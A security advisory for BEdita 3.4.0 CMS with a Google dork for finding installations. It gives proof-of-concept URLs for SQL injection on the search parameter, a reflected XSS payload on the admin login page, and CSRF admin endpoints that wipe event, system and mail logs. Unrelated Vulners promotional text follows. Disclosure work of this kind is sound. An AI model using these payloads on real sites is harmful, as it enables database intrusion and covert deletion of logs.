#Title: BEdita 3.4.0 CMS Multiple Vulnerabilities
#Vendor: bedita.com
#Demo: site.demo.bedita.com
#Version: 3.4.0 (Latest ATM)
#Date: 02.06.14
#Dork: intext:"Proudly powered by BEdita"
#Contact: smash[at]devilteam.pl
#1 - SQL Injection via user_created
So, anyone is able to search for publications using specific user ID. For example, if i would like to seek for news from user with ID 1, url would look like:
host/search/user_created:1
Parameter user_created is vulnerable to sql injection - sql error appears when parameter is incorrectly modified.
PoC:
site.demo.bedita.com/search/user_created:1' and '1'='1
site.demo.bedita.com/search/user_created:1' and '1'='2
#2 - Cross Site Scripting at admin panel (login page)
Since url is being used in javascript as remote_url_response parameter, attacker is able to execute xss because of poor filtration.
host/authentications/xss";%20alert(666);%20lel="123
Source will look like:
<script type="text/javascript">
var remote_url_response = "/pages/helpOnline/authentications/xss"; alert(666); lel="123";
(...)
PoC:
manage.demo.bedita.com/authentications/xss";%20alert(666);%20lel="123
#3 CSRF
a) Delete system events
localhost/bedita/index.php/admin/deleteEventLog
b) Delete system logs
localhost/bedita/index.php/admin/emptySystemLog
c) Delete mail logs
localhost/bedita/index.php/admin/deleteAllMailLogs
# 0day.today [2018-04-12] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation